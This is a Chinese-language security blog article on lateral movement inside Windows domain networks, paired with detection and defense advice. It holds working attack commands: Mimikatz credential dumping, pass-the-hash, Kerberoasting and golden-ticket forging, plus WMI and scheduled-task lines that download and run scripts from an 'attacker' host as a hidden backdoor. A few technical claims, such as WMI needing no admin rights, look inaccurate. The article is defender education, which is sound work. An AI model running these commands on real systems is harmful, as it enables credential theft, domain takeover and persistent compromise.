内网渗透横向攻击:防御与反制全流程解析
2025.09.19 18:14浏览量:0简介:本文深度剖析内网渗透横向攻击的完整流程,从信息收集到权限维持,结合攻击者视角与防御策略,为安全从业者提供系统性应对指南。
内网渗透横向攻击:防御与反制全流程解析
一、攻击前奏:信息收集与目标定位
1.1 边界突破后的信息收集
攻击者通过钓鱼邮件、0day漏洞或供应链攻击突破外网防线后,会立即启动内网信息收集。使用工具如BloodHound
分析AD域结构,或通过PowerView
模块执行Get-NetDomainController
获取域控信息。此时需重点关注:
- 域架构拓扑(单域/多域/林)
- 信任关系(父子域、双向信任)
- 关键系统分布(ERP、OA、数据库)
1.2 横向移动路径规划
基于收集的信息,攻击者会构建攻击路径图。例如:
# 使用PowerView枚举可访问的共享文件夹
Find-InterestingDomainShareFile -Include *pass* *admin*
# 识别高价值目标
Get-NetComputer -FullData | Where-Object {$_.operatingsystem -like "*Server*"}
通过分析共享权限、本地管理员组(LAPS)和GPO策略,确定最优横向移动路线。
二、横向渗透核心技术
2.1 凭证获取与复用
2.1.1 明文凭证收集
- 内存转储:使用
Mimikatz
的sekurlsa::logonpasswords
提取LSASS进程中的凭证 - LSASS注入:通过
procdump
生成转储文件后离线分析 - DPAPI密钥破解:获取浏览器保存的密码或WiFi凭证
2.1.2 哈希传递攻击(PtH)
# 使用获取的NTLM哈希进行横向移动
Invoke-Mimikatz -Command '"sekurlsa::pth /user:admin /domain:contoso.com /ntlm:hash /run:powershell.exe"'
适用于未启用KB2871997补丁的系统,可绕过密码验证直接建立会话。
2.2 远程代码执行技术
2.2.1 WMI横向移动
# 通过WMI执行远程命令
$computer = "DC01"
$script = {iex (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')}
Invoke-WmiMethod -Path "Win32_Process" -Name Create -ArgumentList $script -ComputerName $computer
优势在于无需管理员权限即可执行简单命令,但需445端口开放。
2.2.2 PSExec与WinRM
- PSExec:依赖
\admin$
共享和135端口,适合工作组环境 - WinRM:通过5985/5986端口,需提前配置
Enable-PSRemoting
# 使用WinRM建立会话
$sess = New-PSSession -ComputerName "SQL01" -Credential (Get-Credential)
Invoke-Command -Session $sess -ScriptBlock {Get-Process}
2.3 域环境特权提升
2.3.1 Kerberoasting攻击
# 请求所有SPN对应的TGS
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/SQL01.contoso.com"
# 使用Hashcat破解获取的TGS
hashcat -m 13100 -a 0 tgs.kirbi dictionary.txt
通过破解服务账户的Kerberos票据获取明文密码。
2.3.2 黄金票据攻击
# 伪造域控的TGT
Invoke-Mimikatz -Command '"kerberos::golden /user:admin /domain:contoso.com /sid:S-1-5-21-... /krbtgt:hash /ptt"'
可持久化访问整个域,但需获取krbtgt账户的哈希。
三、攻击维持与隐蔽技术
3.1 后门植入策略
- 计划任务:创建隐蔽任务定期回连C2
# 创建每10分钟执行的计划任务
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -Command `"IEX (New-Object Net.WebClient).DownloadString('http://attacker/backdoor.ps1')`""
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 10)
Register-ScheduledTask -TaskName "SystemUpdate" -Action $action -Trigger $trigger -RunLevel Highest
- WMI事件订阅:通过
__EventFilter
和__EventConsumer
实现持久化
3.2 流量隐藏技术
- DNS隧道:使用
dnscat2
通过DNS查询传输数据 - ICMP隧道:通过
ptunnel
封装TCP流量 - 协议混淆:将C2流量伪装成HTTPS或RDP
四、防御体系构建
4.1 检测与响应机制
4.1.1 异常行为检测
- 监控
4624
(登录成功)和4625
(登录失败)事件,识别非常规登录时间/地点 - 检测
WMI
进程创建异常(ProcessCreation
事件ID 4688) - 分析
Kerberos
票据请求频率,识别Kerberoasting行为
4.1.2 威胁狩猎策略
-- 查询非管理员账户执行敏感命令
SELECT * FROM SecurityEvent
WHERE EventID = 4688
AND NewProcessName LIKE '%powershell%'
AND UserName NOT LIKE '%-admin$'
4.2 纵深防御体系
五、实战案例分析
5.1 某金融企业攻击复现
- 初始突破:通过钓鱼邮件获取HR终端权限
- 横向移动:
- 使用
Mimikatz
获取HR管理员凭证 - 通过
PSExec
横向至文件服务器 - 利用
BloodHound
发现到域控的最短路径
- 使用
- 特权提升:通过
DCSync
获取krbtgt哈希 - 数据窃取:伪造TGT访问核心业务系统
5.2 防御改进建议
- 部署
Credential Guard
防止内存凭证窃取 - 启用
Protected Users
组限制高权限账户登录 - 实施
Just-In-Time
权限管理
六、未来趋势与应对
随着零信任架构的普及,横向攻击将面临更大挑战。建议企业:
- 采用SDP架构隐藏关键资源
- 实施持续认证机制
- 部署UEBA系统检测异常行为模式
本文详细解析了内网横向攻击的全流程,从信息收集到权限维持,提供了可操作的检测与防御方案。安全从业者应建立”攻击面管理-威胁检测-快速响应”的闭环体系,定期进行红蓝对抗演练,持续提升内网安全防护能力。
发表评论
登录后可评论,请前往 登录 或 注册